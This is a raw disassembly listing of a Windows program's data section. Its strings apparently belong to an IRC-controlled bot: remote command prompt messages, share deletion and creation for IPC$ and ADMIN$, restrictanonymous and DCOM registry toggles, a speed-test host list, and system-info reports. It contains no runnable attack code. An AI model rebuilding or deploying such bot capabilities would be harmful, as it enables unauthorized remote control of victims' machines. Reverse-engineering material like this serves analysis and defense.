db 2Dh ; - ; DATA XREF: sub_419B10:loc_419BF6o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0 align 4 ; char asc_43A068[] asc_43A068 db '-' ; DATA XREF: sub_419C65+194o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0 align 4 ; char asc_43A09C[] asc_43A09C db '-' ; DATA XREF: sub_419C65+14Co db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteCommandP db '- Remote Command Prompt',0 align 10h off_43A0C0 dd offset aIpc ; DATA XREF: sub_419E7A+1B3o ; sub_41A19E+17Ao ; "IPC$" align 8 dd offset aAdmin_0 ; "ADMIN$" align 10h off_43A0D0 dd offset dword_43A0EC ; DATA XREF: sub_41A19E+1E3o dd offset dword_43A0E8 dd offset dword_43A0E4 dd offset dword_43A0E0 dword_43A0E0 dd 5C3A44h ; DATA XREF: sub_419E7A+217o ; .data:0043A0DCo dword_43A0E4 dd 2444h ; DATA XREF: .data:0043A0D8o dword_43A0E8 dd 5C3A43h ; DATA XREF: .data:0043A0D4o dword_43A0EC dd 2443h ; DATA XREF: .data:off_43A0D0o aAdmin_0 db 'ADMIN$',0 ; DATA XREF: .data:0043A0C8o align 4 aIpc db 'IPC$',0 ; DATA XREF: .data:off_43A0C0o align 10h ; char asc_43A100[] asc_43A100 db '-' ; DATA XREF: sub_419E7A+2E5o ; sub_41A19E+2DBo db 3, 34h, 2 dd 75636573h, 3026572h aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0 align 10h ; char asc_43A130[] asc_43A130 db '-' ; DATA XREF: sub_419E7A+2CFo db 3, 34h, 2 dd 75636573h, 3026572h aNetworkSharesD db '- Network shares deleted.',0 align 4 ; char asc_43A158[] asc_43A158 db '-' ; DATA XREF: sub_419E7A:loc_41A0DCo db 3, 34h, 2 dd 75636573h, 3026572h aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0 align 4 dword_43A184 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A+25Bo aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0 align 4 ; char asc_43A1A8[] asc_43A1A8 db '-' ; DATA XREF: sub_419E7A:loc_41A049o db 3, 34h, 2 dd 75636573h, 3026572h aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0 align 4 dword_43A1D4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A+1C8o aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0 align 4 ; char asc_43A1F8[] asc_43A1F8 db '-' ; DATA XREF: sub_419E7A:loc_419FACo ; sub_41A19E:loc_41A2CCo db 3, 34h, 2 dd 75636573h, 3026572h aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0 align 4 dword_43A228 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A:loc_419FA5o aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0 ; char asc_43A264[] asc_43A264 db '-' ; DATA XREF: sub_419E7A:loc_419F87o db 3, 34h, 2 dd 75636573h, 3026572h aRestrictedAcce db '- Restricted access to the IPC$ Share.',0 align 4 dword_43A298 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A+106o aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0 align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_419E7A+EDo ; sub_41A19E+EDo align 4 ; char asc_43A2E8[] asc_43A2E8 db '-' ; DATA XREF: sub_419E7A+91o ; sub_41A19E+91o db 3, 34h, 2 dd 75636573h, 3026572h aFailedToOpenDc db '- Failed to open DCOM registry key.',0 ; char asc_43A318[] asc_43A318 db '-' ; DATA XREF: sub_419E7A:loc_419EE7o db 3, 34h, 2 dd 75636573h, 3026572h, 4344202Dh, 64204D4Fh, 62617369h dd 2E64656Ch, 0 dword_43A338 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A+66o aDisableDcomFai db '- Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_419E7A+54o ; sub_41A19E+54o align 4 ; char asc_43A368[] asc_43A368 db '-' ; DATA XREF: sub_41A19E+2C3o db 3, 34h, 2 dd 75636573h, 3026572h aNetworkSharesA db '- Network shares added.',0 ; char aC[] aC db '%c:\',0 ; DATA XREF: sub_41A19E+230o align 4 ; char aC_1[] aC_1 db '%c$',0 ; DATA XREF: sub_41A19E+219o ; char asc_43A398[] asc_43A398 db '-' ; DATA XREF: sub_41A19E:loc_41A33Do ; sub_41A19E:loc_41A40Eo db 3, 34h, 2 dd 75636573h, 3026572h aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0 dword_43A3C0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19E+198o ; sub_41A19E+269o aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0 dword_43A3E0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19E:loc_41A2C5o aFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0 ; char asc_43A41C[] asc_43A41C db '-' ; DATA XREF: sub_41A19E:loc_41A2A7o db 3, 34h, 2 dd 75636573h, 3026572h aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0 align 4 dword_43A454 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19E+102o aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0 align 4 ; char asc_43A494[] asc_43A494 db '-' ; DATA XREF: sub_41A19E:loc_41A20Bo db 3, 34h, 2 dd 75636573h, 3026572h, 4344202Dh, 65204D4Fh, 6C62616Eh dd 2E6465h dword_43A4B0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19E+66o aEnableDcomFail db '- Enable DCOM failed.',0 align 4 ; char aPostHttp1_0Hos[] aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A4D2+E1o db 'Host: %s',0Dh,0Ah db 'Content-Length: %d',0Dh,0Ah db 0Dh,0Ah,0 align 4 ; char asc_43A508[] asc_43A508 db '-' ; DATA XREF: sub_41A6AF+1A7o db 3, 34h, 2 dd 65657073h, 73657464h, 2D030274h, 75450220h, 65706F72h dd 25203A02h, 626B2064h, 732F7469h, 53550220h, 203A0241h dd 6B206425h, 2F746962h, 41022073h, 2616973h, 6425203Ah dd 69626B20h, 20732F74h, 65764102h, 65676172h, 25203A02h dd 626B2064h, 732F7469h, 0 aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41A6AF+C4o align 4 aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41A6AF+BDo aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41A6AF+B6o align 4 aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41A6AF+AFo align 4 aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A6AF+A8o align 10h aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A6AF+A1o aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41A6AF+9Ao align 4 aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41A6AF+93o align 4 aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41A6AF+8Co align 4 aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41A6AF+85o align 4 aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41A6AF+7Eo align 4 aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41A6AF+77o align 4 aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41A6AF+70o align 4 aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41A6AF+69o aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41A6AF+62o aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41A6AF+5Bo align 4 aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41A6AF+54o align 4 aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41A6AF+4Do align 4 aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41A6AF+46o align 4 aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41A6AF+3Fo align 4 aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41A6AF+38o align 4 aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41A6AF+31o align 4 aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41A6AF+2Ao align 4 aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41A6AF+23o align 4 aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41A6AF+1Co align 4 aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41A6AF+15o ; char aDdDhDm[] aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_41A88C+52o ; char asc_43A720[] asc_43A720 db '-' ; DATA XREF: sub_41AA43+297o db 3, 34h, 2 dd 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h dd 74705502h, 2656D69h, 7325203Ah, 2Eh aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_41AA43+192o ; char aCouldnTResolve[] aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AA43:loc_41ABA7o align 10h ; char aSS_5[] aSS_5 db '%s (%s)',0 ; DATA XREF: sub_41AA43+EBo ; char asc_43A828[] asc_43A828 db '-' ; DATA XREF: sub_41ACF7+A4o db 3, 34h, 2 dd 6974656Eh, 26F666Eh, 2202D03h, 65707954h, 25203A02h dd 25282073h, 202E2973h, 20504902h, 72646441h, 2737365h dd 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h, 7325203Ah dd 2Eh ; char off_43A86C[] off_43A86C dd offset loc_412F4E ; DATA XREF: sub_41ACF7:loc_41AD63o dword_43A870 dd 4E414Ch ; DATA XREF: sub_41ACF7:loc_41AD59o aDialUp db 'Dial-up',0 ; DATA XREF: sub_41ACF7+5Bo ; char aNotConnected[] aNotConnected db 'Not connected',0 ; DATA XREF: sub_41ACF7+48o align 4 ; char asc_43A88C[] asc_43A88C db '-' ; DATA XREF: sub_41ADB6:loc_41AF6Fo db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToConnec db ' Failed to connect to HTTP server.',0 align 4 unk_43A8BC db 2Dh ; - ; DATA XREF: sub_41ADB6:loc_41AF68o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aCouldNotOpenAC db ' Could not open a connection.',0 align 4 ; char asc_43A8E8[] asc_43A8E8 db '-' ; DATA XREF: sub_41ADB6+1A0o db 3, 34h, 2 dd 69736976h, 2D030274h, 766E4920h, 64696C61h, 4C525520h dd 2Eh unk_43A904 db 2Dh ; - ; DATA XREF: sub_41ADB6:loc_41AF49o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0 align 10h dword_43A940 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h ; DATA XREF: sub_41ADB6+18Co dd 64657469h, 2Eh dword_43A95C dd 2A2F2Ah ; DATA XREF: sub_41ADB6+3Bo dword_43A960 dd 2922B900h ; DATA XREF: sub_41B8D8+4w _randr ... align 10h dword_43A970 dd 173Fh ; DATA XREF: _floor+Dr dd 9875h, 9873h off_43A97C dd offset __fpmath ; DATA XREF: __cinitr dd offset nullsub_2 dd offset nullsub_2 dword_43A988 dd 1B3Fh ; DATA XREF: _ceil+Dr dword_43A98C dd 19930520h, 4 dup(0) ; DATA XREF: __NLG_Notify1+2o ; __NLG_Notify+2o off_43A9A0 dd offset __exit ; DATA XREF: __amsg_exit+1Cr dword_43A9A4 dd 2 ; DATA XREF: __FF_MSGBANNER+Er ; __NMSG_WRITE+46r ... dd 10h, 0 off_43A9B0 dd offset off_43A9B0 ; DATA XREF: sub_41E976+Do ; sub_41E976+69o ... off_43A9B4 dd offset off_43A9B0 ; DATA XREF: sub_41E976:loc_41E9F6r ; sub_41E976+89w ... dd offset dword_43A9C8 dd offset dword_43A9C8 dword_43A9C0 dd 0FFFFFFFFh ; DATA XREF: sub_41E976r ; sub_41EABA:loc_41EB07w dd 0FFFFFFFFh dword_43A9C8 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: .data:0043A9B8o ; .data:0043A9BCo off_43C9D0 dd offset off_43A9B0 ; DATA XREF: sub_41EABA+15r ; sub_41EABA+20w ... dword_43C9D4 dd 1E0h ; DATA XREF: sub_41B202+185r ; sub_41B513:loc_41B54Fr ... off_43C9D8 dd offset __wctype+2 ; DATA XREF: _atol+23r ; _atol:loc_41B74Fr ... off_43C9DC dd offset __wctype+2 ; DATA XREF: _iswctype+18r public __wctype ; const unsigned __int16 _wctype[] __wctype dd 200000h ; DATA XREF: _x_ismbbtype+18r ; .data:off_43C9D8o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) ; size_t SrcSizeInBytes SrcSizeInBytes dd 1 ; DATA XREF: _atol:loc_41B6F6r ; _atol:loc_41B73Ar ... byte_43CBE8 db 2Eh ; DATA XREF: __input:loc_420804r ; __input+311r ... align 4 dd 1 off_43CBF0 dd offset aNull ; DATA XREF: __output:loc_41FA03r ; __output+457r ; "(null)" off_43CBF4 dd offset aNull_0 ; DATA XREF: __output+259r ; "(null)" byte_43CBF8 db 1 ; DATA XREF: __setmbcp+E1r db 2, 4, 8 align 10h dword_43CC00 dd 3A4h ; DATA XREF: __setmbcp+2Fo dword_43CC04 dd 82798260h ; DATA XREF: __setmbcp+11Dr dd 21h, 0 dword_43CC10 dd 0DFA6h ; DATA XREF: __setmbcp+C0r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_43CCF0 dd 1 ; DATA XREF: __setmbcp+3Co ; __dosmaperr+Co dword_43CCF4 dd 16h ; DATA XREF: __dosmaperr:loc_420414r dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch asc_43CE58 db ' ',9,'-',0Dh,']',0 ; DATA XREF: __dosmaperr+19o ; __input:loc_420A77o align 10h asc_43CE60: ; DATA XREF: __input:loc_420967o unicode 0, <]>,0 align 8 dword_43CE68 dd 14h ; DATA XREF: __get_fname+2o off_43CE6C dd offset aExp ; DATA XREF: __get_fname:loc_421641r ; "exp" dd 1Dh, 427870h, 1Ah, 42C960h, 1Bh, 427868h, 1Fh, 427860h dd 13h, 427858h, 21h, 427850h, 0Eh, 427848h, 0Dh, 427840h dd 0Fh, 427838h, 10h, 427830h, 5, 427828h, 1Eh, 427824h dd 12h, 427820h, 20h, 42781Ch, 0Ch, 427814h, 0Bh, 42780Ch dd 15h, 427804h, 1Ch, 4277FCh, 19h, 4277F4h, 11h, 4277ECh dd 18h, 4277E4h, 16h, 4277DCh, 17h, 4277D4h, 22h, 4277D0h dd 23h, 4277CCh, 24h, 4277C8h dbl_43CF40 dq 1.797693134862316e308 ; DATA XREF: __handle_exc+B7r ; __handle_exc:loc_421446r ... dd 0 dd 0FFF80000h dbl_43CF50 dq 1.797693134862316e308 ; DATA XREF: __handle_exc+92r ; __handle_exc:loc_42141Er ... dd 0 dd 100000h, 0 dd 80000000h tbyte_43CF68 dt 2.3562723457267347066e313 ; DATA XREF: __set_statfp+Dr ; __set_statfp+1Fr align 4 tbyte_43CF74 dt 1.9149954921904370718e-1233 ; DATA XREF: __set_statfp+31r align 10h off_43CF80 dd offset __cfltcvt ; DATA XREF: __cfltcvt_init+Fw ; __output+3AAr off_43CF84 dd offset __cropzeros ; DATA XREF: __cfltcvt_init+5w ; __output+3E2r off_43CF88 dd offset __fassign ; DATA XREF: __cfltcvt_init+14w ; __input+430r off_43CF8C dd offset __forcdecpt ; DATA XREF: __cfltcvt_init+1Ew ; __output+3CBr off_43CF90 dd offset __positive ; DATA XREF: __cfltcvt_init+28w off_43CF94 dd offset __cfltcvt ; DATA XREF: __cfltcvt_init+32w dd offset ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z ; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *) align 10h dd offset sub_42255C off_43CFA4 dd offset sub_42255C ; DATA XREF: sub_4225B2+29r dword_43CFA8 dd 0C0000005h ; DATA XREF: _xcptlookup+Ar ; _xcptlookup+11o ... dword_43CFAC dd 0Bh ; DATA XREF: _siglookup+Ar dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 dd 0C000008Dh, 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 dd 0C0000090h, 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_43D020 dd 3 ; DATA XREF: __XcptFilter+58r ; _raise+C8r dword_43D024 dd 7 ; DATA XREF: __XcptFilter+5Er ; _raise+CDr dword_43D028 dd 0Ah ; DATA XREF: _xcptlookup+4r ; _siglookup+4r dword_43D02C dd 8Ch ; DATA XREF: __XcptFilter+82r ; __XcptFilter+8Fw ... dword_43D030 dd 0FFFFFFFFh, 0A00h ; DATA XREF: __filbuf:loc_41F0C4o ; __flsbuf:loc_41F647o dword_43D038 dd 2 ; DATA XREF: __NMSG_WRITE+Eo ; __NMSG_WRITE+28r off_43D03C dd offset aR6002FloatingP ; DATA XREF: __NMSG_WRITE+FCr ; __NMSG_WRITE+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 427B8Ch, 9, 427B60h, 0Ah, 427B3Ch, 10h, 427B10h dd 11h, 427AE0h, 12h, 427ABCh, 13h, 427A90h, 18h, 427A58h dd 19h, 427A30h, 1Ah, 4279F8h, 1Bh, 4279C0h, 1Ch, 427998h dd 78h, 427988h, 79h, 427978h, 7Ah, 427968h, 0FCh, 433F14h dd 0FFh, 427958h off_43D0C8 dd offset dword_4DBC80 ; DATA XREF: __NMSG_WRITE+1Bo ; ___initstdio+55o align 10h dd offset dword_4DBC80 dd 101h dword_43D0D8 dd 0FFFFFFFFh, 0 ; DATA XREF: ___initstdio+72o dd 1000h, 0 dword_43D0E8 dd 3 dup(0) ; DATA XREF: __flsbuf+50o __stbuf+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_43D108 dd 3 dup(0) ; DATA XREF: __flsbuf+58o ; __stbuf:loc_420464o dd 2, 0FFFFFFFFh, 7 dup(0) dword_43D138 dd 84h dup(0) ; DATA XREF: ___initstdio+9Bo dword_43D348 dd 2 dup(0) ; DATA XREF: ___initstdio+69o dword_43D350 dd 2694h ; DATA XREF: __handle_qnan1+3r ; __except1+46r align 8 dword_43D358 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_4244ECo dword_43D370 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424502o dword_43D388 dd 7080h ; DATA XREF: ___loctotime_t+76r ; __tzset+5Ew ... dword_43D38C dd 1 ; DATA XREF: ___loctotime_t+98r ; __tzset+8Bw ... dword_43D390 dd 0FFFFF1F0h ; DATA XREF: ___loctotime_t:loc_42271Br ; __tzset+94w ... dword_43D394 dd 545350h, 0Fh dup(0) ; DATA XREF: .data:off_43D414o dword_43D3D4 dd 544450h, 0Fh dup(0) ; DATA XREF: .data:off_43D418o ; char *off_43D414 off_43D414 dd offset dword_43D394 ; DATA XREF: __tzset+BAr __tzset+D9r ... ; char *off_43D418 off_43D418 dd offset dword_43D3D4 ; DATA XREF: __tzset+F4r __tzset+11Br ... align 10h dword_43D420 dd 0FFFFFFFFh ; DATA XREF: __tzset+1Dw __isindst+1Er ... dword_43D424 dd 0 ; DATA XREF: __isindst:loc_424B7Er ; _cvtdate+BFw dword_43D428 dd 0 ; DATA XREF: __isindst+192r ; _cvtdate+E0w align 10h dword_43D430 dd 0FFFFFFFFh ; DATA XREF: __tzset+17w __isindst+26r ... dword_43D434 dd 0 ; DATA XREF: __isindst+13Ar ; _cvtdate+EAw ... dword_43D438 dd 0 ; DATA XREF: __isindst+1A1r ; _cvtdate+23r ... dword_43D43C dd 0FFFFFFFFh ; DATA XREF: _cvtdate+84r dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_43D46C dd 16Dh ; DATA XREF: ___loctotime_t+2Ar ; _cvtdate+2Er ... dword_43D470 dd 0FFFFFFFFh ; DATA XREF: _cvtdate:loc_424C82r dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 dword_43D4A8 dd 2 dup(0) ; DATA XREF: ___multtenpow12+7o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) dd 400FC350h, 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_43D608 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: ___multtenpow12+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh off_43D764 dd offset off_427D60 ; DATA XREF: .rdata:00427F3Co ; .rdata:00428028o dd 0 a_?avexception@ db '.?AVexception@@',0 off_43D77C dd offset off_427D60 ; DATA XREF: .rdata:off_427DF0o ; .rdata:00427E30o ... dd 0 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_43D79C dd offset off_427D60 ; DATA XREF: .rdata:off_427E38o ; .rdata:00427E7Co ... dd 0 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_43D7BC dd offset off_427D60 ; DATA XREF: .rdata:off_427E84o ; .rdata:00427EC8o ... dd 0 a_?avlength_err db '.?AVlength_error@std@@',0 align 10h off_43D7E0 dd offset off_427D60 ; DATA XREF: .rdata:off_427ED0o ; .rdata:00427F0Co align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dd offset ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z ; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *) align 10h dword_43D800 dd 2 dup(0) ; DATA XREF: sub_40111D+C8o ; char byte_43D808 byte_43D808 db 0 ; DATA XREF: sub_40111D+62o ; WinMain(x,x,x,x)+24Do ... align 10h ; char dword_43D810[] dword_43D810 dd 0 ; DATA XREF: WinMain(x,x,x,x)+38Fo ; sub_401ACD+B08o ... dd 5 dup(0) dword_43D828 dd 0 ; DATA XREF: sub_401ACD+B64r ; sub_4150B5+60r dd 2D9h dup(0) dword_43E390 dd 0 ; DATA XREF: sub_401ACD+5E63r ; sub_401ACD+5F40r ... dd 7Fh dup(0) dword_43E590 dd 0 ; DATA XREF: sub_40B0F7+41w ; sub_40B232+40w ... dword_43E594 dd 0 ; DATA XREF: sub_40B0F7+47w ; sub_40B232+46w ... dword_43E598 dd 0 ; DATA XREF: sub_40B0F7+52w ; sub_40B232+3Ar ... dword_43E59C dd 0 ; DATA XREF: sub_40111D+Cr ; sub_4017ED+B9w ... dword_43E5A0 dd 0 ; DATA XREF: sub_40B232+75r ; sub_40B413+2Aw ... dword_43E5A4 dd 0 ; DATA XREF: WinMain(x,x,x,x)+3DEw ; WinMain(x,x,x,x)+456w ... byte_43E5A8 db 0 ; DATA XREF: sub_4017ED+91o ; sub_401ACD+5DA8r ... align 4 dd 1C69h dup(0) dword_445750 dd 473Ch dup(0) ; DATA XREF: .data:off_433E54o db 0 byte_457441 db 3 dup(0) ; DATA XREF: .data:off_438BACo dd 17780h dup(0) db 0 byte_4B5245 db 3 dup(0) ; DATA XREF: .data:off_438A18o dd 5852h dup(0) dword_4CB390 dd 0C1F4h ; DATA XREF: sub_40111D+FDw ; sub_40B0F7+13o ... dword_4CB394 dd 1Bh ; DATA XREF: WinMain(x,x,x,x)+3Dw ; sub_401ACD:loc_4044D8r ... dword_4CB398 dd 0 ; DATA XREF: WinMain(x,x,x,x):loc_4016FFo ; char Dest[] Dest db 80h dup(0) ; DATA XREF: WinMain(x,x,x,x)+495o ; WinMain(x,x,x,x)+52Fo ... ; char byte_4CB41C[] byte_4CB41C db 40h dup(0) ; DATA XREF: WinMain(x,x,x,x)+4ABo ; char byte_4CB45C[] byte_4CB45C db 90h dup(0) ; DATA XREF: WinMain(x,x,x,x)+4C2o dword_4CB4EC dd 0 ; DATA XREF: WinMain(x,x,x,x)+4B6w ; WinMain(x,x,x,x)+546w ... dword_4CB4F0 dd 0 ; DATA XREF: WinMain(x,x,x,x)+4D5w align 10h 